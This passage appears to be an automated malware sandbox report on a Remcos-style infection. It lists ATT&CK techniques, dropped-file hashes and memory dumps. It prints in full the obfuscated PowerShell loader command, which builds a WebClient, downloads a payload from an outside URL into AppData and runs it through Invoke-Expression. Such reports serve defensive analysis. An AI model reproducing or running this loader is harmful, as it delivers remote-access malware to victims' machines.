RTe.lNi n k iSnSg ]R=O$ O vWe r.c,r e e d');$Tauris=Episodal ' DFo wAnGl o aDd.FIi l e';$Sandsynliggr=Episodal 'V$,RAeHn tFeAb e.l,b,eFnMe,sA. $RTNa u r iEsI.SI,n v o k eF(a$OSVy lSlAo gAi s t iVs,kgeP, $ScDhPiAkMa nPe rSeF)';$chikanere=$Reamerer;dowagers (Episodal ' $,g.L OEbBA L,:TpGRTe C iPP I C,e DS=.(NT ePsPtP-CpVASTTh W$AC.H I K aSn e RKE )');while (!$Precipiced) {dowagers (Episodal ' $TgVl oCb aclU:cR,eMaNk t,iPoHnJsUm isdFlCe rP= $ UFnMd eSr cIo m.p o uLn d eRd') ;dowagers $Sandsynliggr;dowagers (Episodal 'U[FtTHSrVe a D i,n GS.STDH R EFa DU]N:N:DsOLFE e.pA(D4 0E0K0 )');dowagers (Episodal '.$ GNl,O B.aLLN: PuRSEUC I.p.I cGeAD,=S(FtTEBSUTT-nPUA.T HM $ c h i K A n.e,RVe )') ;dowagers (Episodal 'V$ag l oMb.a,lG:IRfa TSAUK S,E.La= $ gclTo B AVLG:RFPISb,rTOTcMa sNENo u s + +R%D$Os t aMnPdCEBeSs . C o,u,nAT') ;$Syllogistiske=$Standees[$Rataksel]}$koncentrationerne=408863;$Lopsidedness=26905;dowagers (Episodal ' $TG l O bOa.LO: I T aMl iRO T e U= FGsE t,- C O NJtME nSTR $UcPh I k,A nMEAR E');dowagers (Episodal '.$PgUlWoCbGa l :FUMdPt rDd eVl s e r n eMs = S[CS yOsTt eCm,.RCUo,nUvAeLr.t ] :.:TFLr o.mBBFaEs e 6P4ASSt rSi,n.g,(F$ I,t a,l iOoSt eU)');dowagers (Episodal ' $Sg lToMbIaDlT: R E,c IaT Alt iAV eSlFy =, S[ASuy S t EDmC.GTUebx TT. eHn,cNoIDTiONAGU] :S:AaFs CLI I .Cg ESt.S T R ITn,g ( $GU d,t rZD e L,sTE.r nMEFsT)');dowagers (Episodal 'P$PG lAO bGAPLB: FOe l t d.E fNiON.I,TSISo n =K$IRTe.c I T.a ToIEvOEeLFy .ASEUnB s t,r iPn,g ( $ KSO nJcSeSn T R A t i OKN EFRLnSER, $,lEO P.srI D ERd N e s sS)');dowagers $Feltdefinition;"
1⤵
- System Location Discovery: System Language Discovery
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
PID:5092

C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
"C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe" "Get-Service;$Refathered='func';Get-History;$Refathered+='t';Get-History;$Refathered+='i';$Brystprotesers=Get-History;$Refathered+='on:';$Brystprotesers=Get-History;(ni -p $Refathered -n Episodal -value { param($Udsningers);$Skrivekrampen=1;do {$Franks221+=$Udsningers[$Skrivekrampen];$Skrivekrampen+=2} until(!$Udsningers[$Skrivekrampen])$Franks221});(ni -p $Refathered -n dowagers -value {param($Drunkest);.($Trykknappen) ($Drunkest)});ConvertTo-Html;$Checklisternes=Episodal 'SN e t .CW';$Checklisternes+=Episodal ' EBBTc L.iGE nOt';$Overcreed=Episodal 'CM.o zSi lal a /';$Retinaculate194=Episodal ' T.lMsP1D2';$Confeder='B[HN EMtN.LSJE.r v IAcFESPRoPiAn,TnmFa n A,G,e r ] :S: SSECcAU r I tMY p rRo tBO cTOKLF= $ r,eStSiFNiaSc.UNL aTT eT1 9U4';$Overcreed+=Episodal 'K5 .L0 ,( W iAnTdBoOw se HNeT, 1S0M..0F;C BWPi nS6B4 ;O DxZ6K4 ;L HrMvg: 1 3 4V.P0 )D TGSeLc kOo /H2j0A1 0K0F1.0O1h sFRi rOeKf o x./ 1d3M4Y.,0';$Relinking=Episodal ' uks.eSRS-IADG eFnST';$Syllogistiske=Episodal ' h tBt pS:M/D/.u,p n eKt .,bPgS/ c n,/,NTo nPcMr eMd u l.o uIs ..d espLlSoFy';$Hjemvisningsreaktions=Episodal ' >';$Trykknappen=Episodal 'kI E x';$Slsomme='Pragmaticism';$Finansministres='\Snapreprisers.Pud';dowagers (Episodal ' $ GSLToObNASLL:GRSeSA M e.r eCRU= $UE NaV :gASPsP dLA T aP+U$AfKiInRa N sRm.iGN I S,T rAE.S');dowagers (Episodal 'E$AgIl O,bSatLN:Ms t aBNSdAE e.SB= $,SAYVL l O gTI s TDI SBKTE . s pQlri TB( $ h jAE m vTiGS,N i NkgIS RUE.asK tDi OCnLs.)');dowagers (Episodal $Confeder);$Syllogistiske=$Standees[0];$Restamped=(Episodal ',$AG l.ogB aDL.: rfe.N,tSeRbAE LcbSEAN,E.sD=CNPE Wl-rOPB jSeScETS SSCy sStIe.mS. $EcBH ehcKK LAiCsGt ePRnN.ePs');dowagers ($Restamped);dowagers (Episodal 'T$AR e n tpe b ePlUb eHn ensC.UH eAaGd eCrSs [,$ RTe.lNi n k iSnSg ]R=O$ O vWe r.c,r e e d');$Tauris=Episodal ' DFo wAnGl o aDd.FIi l e';$Sandsynliggr=Episodal 'V$,RAeHn tFeAb e.l,b,eFnMe,sA. $RTNa u r iEsI.SI,n v o k eF(a$OSVy lSlAo gAi s t iVs,kgeP, $ScDhPiAkMa nPe rSeF)';$chikanere=$Reamerer;dowagers (Episodal ' $,g.L OEbBA L,:TpGRTe C iPP I C,e DS=.(NT ePsPtP-CpVASTTh W$AC.H I K aSn e RKE )');while (!$Precipiced) {dowagers (Episodal ' $TgVl oCb aclU:cR,eMaNk t,iPoHnJsUm isdFlCe rP= $ UFnMd eSr cIo m.p o uLn d eRd') ;dowagers $Sandsynliggr;dowagers (Episodal 'U[FtTHSrVe a D i,n GS.STDH R EFa DU]N:N:DsOLFE e.pA(D4 0E0K0 )');dowagers (Episodal '.$ GNl,O B.aLLN: PuRSEUC I.p.I cGeAD,=S(FtTEBSUTT-nPUA.T HM $ c h i K A n.e,RVe )') ;dowagers (Episodal 'V$ag l oMb.a,lG:IRfa TSAUK S,E.La= $ gclTo B AVLG:RFPISb,rTOTcMa sNENo u s + +R%D$Os t aMnPdCEBeSs . C o,u,nAT') ;$Syllogistiske=$Standees[$Rataksel]}$koncentrationerne=408863;$Lopsidedness=26905;dowagers (Episodal ' $TG l O bOa.LO: I T aMl iRO T e U= FGsE t,- C O NJtME nSTR $UcPh I k,A nMEAR E');dowagers (Episodal '.$PgUlWoCbGa l :FUMdPt rDd eVl s e r n eMs = S[CS yOsTt eCm,.RCUo,nUvAeLr.t ] :.:TFLr o.mBBFaEs e 6P4ASSt rSi,n.g,(F$ I,t a,l iOoSt eU)');dowagers (Episodal ' $Sg lToMbIaDlT: R E,c IaT Alt iAV eSlFy =, S[ASuy S t EDmC.GTUebx TT. eHn,cNoIDTiONAGU] :S:AaFs CLI I .Cg ESt.S T R ITn,g ( $GU d,t rZD e L,sTE.r nMEFsT)');dowagers (Episodal 'P$PG lAO bGAPLB: FOe l t d.E fNiON.I,TSISo n =K$IRTe.c I T.a ToIEvOEeLFy .ASEUnB s t,r iPn,g ( $ KSO nJcSeSn T R A t i OKN EFRLnSER, $,lEO P.srI D ERd N e s sS)');dowagers $Feltdefinition;"
1⤵
PID:1868

Network

MITRE ATT&CK Enterprise v15

Reconnaissance

Resource Development

Initial Access

Execution

Persistence

Boot or Logon Autostart Execution

1

T1547

Registry Run Keys / Startup Folder

1

T1547.001

Privilege Escalation

Boot or Logon Autostart Execution

1

T1547

Registry Run Keys / Startup Folder

1

T1547.001

Defense Evasion

Modify Registry

1

T1112

Credential Access

Discovery

Query Registry

1

T1012

System Information Discovery

2

T1082

System Location Discovery

1

T1614

System Language Discovery

1

T1614.001

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

Replay Monitor

Loading Replay Monitor...

Downloads

C:\ProgramData\remcos\logs.dat

Filesize
194B

MD5
19825f1b2c042f53ffe91e78439ccc7b

SHA1
e369a6916f9f9d2c8e61e620f2255395190c397b

SHA256
a81ed637a51df13ab5f63f248d06053416a87110cb69f50a56ca003c29efee9f

SHA512
228d2fef3bb1da163659c595e5553476e658470b8f5ab270fecbd064988888540f2ea8fb003f66a221c7a7fb7081bf50bb3de514557db0e94f629e1111a548ef

Download Submit
C:\Users\Admin\AppData\Local\Microsoft\CLR_v4.0\UsageLogs\powershell.exe.log

Filesize
3KB

MD5
0b0479338a3edc1c0e8f969364a3a38b

SHA1
aa9a4521185dd186cda3db0db33d922aa5ed75df

SHA256
767fddf8235497bb808370f94146682f711181388efd0c20074c34c2a002b135

SHA512
1a2e887a7ab6d7ceaa86bcc681ad2803b25c66200102f7b3df4ca014aafb1df887e9ba0731ff0905b3e5cd839c7e18ad95ece0029e26c0fa6333b8e2a776fdde

Download Submit
C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\ModuleAnalysisCache

Filesize
53KB

MD5
d4d8cef58818612769a698c291ca3b37

SHA1
54e0a6e0c08723157829cea009ec4fe30bea5c50

SHA256
98fd693b92a71e24110ce7d018a117757ffdfe0e551a33c5fa5d8888a2d74fb0

SHA512
f165b1dde8f251e95d137a466d9bb77240396e289d1b2f8f1e9a28a6470545df07d00da6449250a1a0d73364c9cb6c00fd6229a385585a734da1ac65ac7e57f6

Download Submit
C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive

Filesize
1KB

MD5
677524b1bf7f9d64993a6c9c94e4d8e0

SHA1
73ec5a8ed76829b7340309d9db30447bba0385d7

SHA256
15b9c672f87966212155d06ff1388d410989db5e8bb73b778c8b20a3d013d82b

SHA512
1c463907054f16a7998134bb22e24bcbdcfb91000830f9dd5d0c13541599478901b8966bc9cbe3339a46e185984224f62255a4c359687563004b219a7f4a0160

Download Submit
C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive

Filesize
1KB

MD5
8187093f31332d2dbe16c2d0ba366576

SHA1
222a37223b6ec359b7cf8438b999187cc393ac21

SHA256
b5284a3dc0058e8e14ef2a229b9e8cf1fc89da8e6af9e9b87fd949978f00406f

SHA512
cd082bea21a59ba12c4bfff80cc4c86e8e6d53a5f3b4d6682e6deffdde581aafd56dcd596b895d3fbb4678f3083365e09f77eca01f1a618c1db84caccb7a1c79

Download Submit
C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive

Filesize
1KB

MD5
0e2a5e3886ae95c24fe423670d9de71e

SHA1
c100f67d5aa916617dc89d7e86b7433ee710dbb9

SHA256
43dc515c21a1b8f08e25fd2f14aeefff086d4112aa14e016e2316147c2f52c44

SHA512
16f8d047fb9e9c26eba444592b05ec9309c7ec92781a1ba9b63bafc514fbb76cdefe61bb6f153b03fda0f35dfad5e12edb9931764b39871eb3efcc52cbd0f6cc

Download Submit
C:\Users\Admin\AppData\Local\Temp\__PSScriptPolicyTest_jqsfwtfo.0at.ps1

Filesize
60B

MD5
d17fe0a3f47be24a6453e9ef58c94641

SHA1
6ab83620379fc69f80c0242105ddffd7d98d5d9d

SHA256
96ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7

SHA512
5b592e58f26c264604f98f6aa12860758ce606d1c63220736cf0c779e4e18e3cec8706930a16c38b20161754d1017d1657d35258e58ca22b18f5b232880dec82

Download Submit
C:\Users\Admin\AppData\Roaming\Snapreprisers.Pud

Filesize
567KB

MD5
baf7202653fbd804346a9372c73ed917

SHA1
181b67347342e16baad1b2be97dc6592151f3867

SHA256
648cc18699c572922b83509156081adb8303847f325cfe187602d20eb291e322

SHA512
fc1b98827b92902cde32b36749144b699c256130fce59d8576e2178d428bd5bd48ef76efe243019919e14d320f38fd6addd959d3d5fe60dc6bf563950c3893d2

Download Submit
memory/3792-16-0x00007FFA528B0000-0x00007FFA53371000-memory.dmp

Filesize
10.8MB

Download
memory/3792-23-0x00007FFA528B0000-0x00007FFA53371000-memory.dmp

Filesize
10.8MB

Download
memory/3792-26-0x00007FFA528B0000-0x00007FFA53371000-memory.dmp

Filesize
10.8MB

Download
memory/3792-22-0x00007FFA528B0000-0x00007FFA53371000-memory.dmp

Filesize
10.8MB

Download
memory/3792-21-0x00007FFA528B0000-0x00007FFA53371000-memory.dmp

Filesize
10.8MB

Download
memory/3792-20-0x00007FFA528B0000-0x00007FFA53371000-memory.dmp

Filesize
10.8MB

Download
memory/3792-19-0x00007FFA528B3000-0x00007FFA528B5000-memory.dmp

Filesize
8KB

Download
memory/3792-6-0x00000219FA5F0000-0x00000219FA612000-memory.dmp

Filesize
136KB

Download
memory/3792-4-0x00007FFA528B3000-0x00007FFA528B5000-memory.dmp

Filesize
8KB

Download
memory/3792-5-0x00007FFA528B0000-0x00007FFA53371000-memory.dmp

Filesize
10.8MB

Download
memory/4456-65-0x00000000009D0000-0x0000000001C24000-memory.dmp

Filesize
18.3MB

Download
memory/4456-74-0x00000000009D0000-0x0000000001C24000-memory.dmp

Filesize
18.3MB

Download
memory/4456-71-0x00000000009D0000-0x0000000001C24000-memory.dmp

Filesize
18.3MB

Download
memory/4456-68-0x00000000009D0000-0x0000000001C24000-memory.dmp

Filesize
18.3MB

Download
memory/4456-62-0x00000000009D0000-0x0000000001C24000-memory.dmp

Filesize
18.3MB

Download
memory/4456-57-0x00000000009D0000-0x0000000001C24000-memory.dmp

Filesize
18.3MB

Download
memory/4456-53-0x00000000009D0000-0x0000000001C24000-memory.dmp

Filesize
18.3MB

Download
memory/5092-99-0x0000000005740000-0x0000000005A94000-memory.dmp

Filesize
3.3MB

Download
memory/5092-109-0x0000000005EE0000-0x0000000005F2C000-memory.dmp

Filesize
304KB

Download
memory/5932-47-0x00000000060D0000-0x00000000060F2000-memory.dmp

Filesize
136KB

Download
memory/5932-44-0x0000000005BA0000-0x0000000005BEC000-memory.dmp

Filesize
304KB

Download
memory/5932-43-0x0000000005B80000-0x0000000005B9E000-memory.dmp

Filesize
120KB

Download
memory/5932-38-0x0000000005550000-0x00000000058A4000-memory.dmp

Filesize
3.3MB

Download
memory/5932-31-0x0000000005410000-0x0000000005476000-memory.dmp

Filesize
408KB

Download
memory/5932-46-0x0000000006080000-0x000000000609A000-memory.dmp

Filesize
104KB

Download
memory/5932-45-0x0000000006D50000-0x0000000006DE6000-memory.dmp

Filesize
600KB

Download
memory/5932-48-0x00000000073F0000-0x0000000007994000-memory.dmp

Filesize
5.6MB

Download
memory/5932-30-0x00000000053A0000-0x0000000005406000-memory.dmp

Filesize
408KB

Download
memory/5932-29-0x0000000005300000-0x0000000005322000-memory.dmp

Filesize
136KB

Download
memory/5932-49-0x0000000008020000-0x000000000869A000-memory.dmp

Filesize
6.5MB

Download
memory/5932-28-0x0000000004C60000-0x0000000005288000-memory.dmp

Filesize
6.2MB

Download
memory/5932-51-0x00000000086A0000-0x000000000E297000-memory.dmp

Filesize
92.0MB

Download
memory/5932-27-0x0000000002290000-0x00000000022C6000-memory.dmp

Filesize
216KB

Download

Analysis

Sharing

General

Malware Config

Extracted

Signatures

Processes

Network

MITRE ATT&CK Enterprise v15

Replay Monitor

Loading Replay Monitor...

Downloads